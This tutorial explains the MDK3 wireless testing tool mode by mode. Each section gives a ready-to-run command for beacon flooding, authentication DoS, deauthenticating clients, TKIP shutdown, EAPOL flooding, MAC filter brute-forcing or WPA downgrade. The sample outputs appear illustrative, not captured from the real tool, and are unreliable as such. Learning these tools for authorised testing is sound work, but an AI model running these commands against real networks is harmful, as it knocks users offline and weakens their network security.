MDK3: Comprehensive Guide to Wireless Network Security Testing

Wireless networks form the backbone of modern communication, but they are not without vulnerabilities. MDK3, a proof-of-concept tool, exploits weaknesses in the IEEE 802.11 protocol to simulate attacks and stress-test networks. This versatile tool offers multiple test modes that enable researchers, ethical hackers, and network administrators to evaluate the resilience of their wireless networks.

In this article, we’ll explore MDK3, its commands, outputs, and use cases, focusing on each test mode. Whether you're new to MDK3 or looking to leverage its advanced options, this guide is your complete reference.

What is MDK3?

MDK3, developed by ASPj of k2wrlz, is built using Aircrack-ng’s osdep library and offers a powerful suite of tools for assessing wireless network security. It generates a range of attack simulations, helping users test protocol implementations, network configurations, and device drivers for robustness.

Important: Use MDK3 only on networks you own or have explicit permission to test.

MDK3 Basics

Syntax

mdk3 <interface> <test_mode> [test_options]

• <interface>: Your wireless adapter in monitor mode (e.g., wlan0mon).
• <test_mode>: Specifies the attack type (e.g., b for beacon flood).
• [test_options]: Additional parameters to customize the attack.

Usage Example

mdk3 wlan0mon b

This command initiates a basic beacon flood attack.

MDK3 Test Modes

MDK3 supports various test modes, each targeting specific wireless vulnerabilities:

1. Beacon Flood Mode (b)
2. Authentication DoS Mode (a)
3. ESSID Probing and Bruteforce Mode (p)
4. Deauthentication Amok Mode (d)
5. Michael Shutdown Exploitation (m)
6. 802.1X Testing (x)
7. WIDS/WIPS Confusion (w)
8. MAC Filter Bruteforce Mode (f)
9. WPA Downgrade Test (g)

Let’s dive into these modes, their commands, and expected outputs.

1. Beacon Flood Mode (b)

This mode floods the network with fake beacon frames to simulate access points (APs). It overloads scanners and can destabilize drivers.

Basic Command

mdk3 wlan0mon b

Output:

[INFO] Beacon flood mode active.
[INFO] Broadcasting fake APs with random SSIDs.
[INFO] Speed: 50 packets/second.

Advanced Configurations

• Using Predefined SSIDs

  mdk3 wlan0mon b -v aplist.txt -s 100
  

  Options:

  • -v aplist.txt: Reads SSIDs and MAC addresses from aplist.txt.
  • -s 100: Sends 100 packets per second.

  Output:

  [INFO] Broadcasting SSIDs from aplist.txt at 100 packets/second.
  

• Simulating Encrypted APs

  mdk3 wlan0mon b -w -a
  

  Options:

  • -w: Generates WEP-encrypted APs.
  • -a: Simulates WPA AES encryption.

  Output:

  [INFO] Broadcasting WEP-encrypted APs with WPA AES settings.
  

• Targeting Specific Channels

  mdk3 wlan0mon b -c 6 -s 200
  

  Options:

  • -c 6: Targets channel 6.
  • -s 200: Increases packet rate to 200 packets per second.

  Output:

  [INFO] Broadcasting on channel 6 at 200 packets/second.
  

  2. Authentication DoS Mode (a)

This mode overwhelms APs with authentication requests, causing them to freeze or reset.

Command:

mdk3 wlan0mon a -a <AP_MAC> -s 500

Options:

• -a <AP_MAC>: Targets a specific AP.
• -s 500: Limits the speed to 500 packets/second.

Output:

[INFO] Sending authentication requests to AP <AP_MAC>.
[INFO] Speed: 500 packets/second.

3. ESSID Probing and Bruteforce Mode (p)

This mode probes APs to verify SSIDs or brute-force hidden ones.

Command:

mdk3 wlan0mon p -t <BSSID> -f wordlist.txt -s 300

Options:

• -t <BSSID>: Specifies the target AP.
• -f wordlist.txt: Uses a file for SSID brute-forcing.
• -s 300: Sends probes at 300 packets/second.

Output:

[INFO] Probing AP <BSSID> with SSIDs from wordlist.txt.
[INFO] Speed: 300 packets/second.

4. Deauthentication Amok Mode (d)

This mode disconnects all clients from a target AP.

Command:

mdk3 wlan0mon d -b blacklist.txt -s 1000

Options:

• -b blacklist.txt: Targets clients listed in blacklist.txt.
• -s 1000: Sends 1000 deauthentication packets/second.

Output:

[INFO] Disconnecting clients from listed APs.
[INFO] Speed: 1000 packets/second.

To whitelist clients, use:

mdk3 wlan0mon d -w whitelist.txt

5. Michael Shutdown Exploitation (m)

Exploits TKIP protocol vulnerabilities to shut down traffic.

Command:

mdk3 wlan0mon m -t <BSSID> -j

Options:

• -t <BSSID>: Targets a specific AP.
• -j: Uses the TKIP QoS exploit.

Output:

[INFO] Exploiting TKIP vulnerabilities on AP <BSSID>.

6. 802.1X Testing (x)

Tests EAPOL protocol handling on WPA networks.

Command:

mdk3 wlan0mon x 0 -t <BSSID>

Options:

• x 0: Initiates EAPOL Start flooding.
• -t <BSSID>: Targets a specific AP.

Output:

[INFO] Flooding EAPOL Start packets to <BSSID>.

7. WIDS/WIPS Confusion (w)

This mode confuses intrusion detection systems by manipulating authenticated clients.

Command:

mdk3 wlan0mon w -z -e <SSID>

Options:

• -z: Activates WIDS exploits.
• -e <SSID>: Targets a specific network.

Output:

[INFO] Exploiting WIDS system on network <SSID>.

8. MAC Filter Bruteforce Mode (f)

Attempts to authenticate using known MAC addresses.

Command:

mdk3 wlan0mon f -t <BSSID> -m 00:11:22

Options:

• -m 00:11:22: Uses the specified MAC prefix.
• -t <BSSID>: Targets the specified AP.

Output:

[INFO] Bruteforcing MAC filters on <BSSID>.

9. WPA Downgrade Test (g)

Forces APs to downgrade from WPA encryption.

Command:

mdk3 wlan0mon g -t <BSSID>

Options:

• -t <BSSID>: Targets the specified AP.

Output:

[INFO] Forcing downgrade from WPA on AP <BSSID>.

Conclusion

MDK3 is a versatile and powerful tool for wireless network testing, offering a range of modes to evaluate and stress-test network configurations. Each test mode has unique applications, allowing researchers and administrators to identify vulnerabilities, assess resilience, and improve security.

Use Responsibly: Always ensure you have authorization before using MDK3. Its strength lies in its ability to uncover weaknesses and drive improvements in wireless security.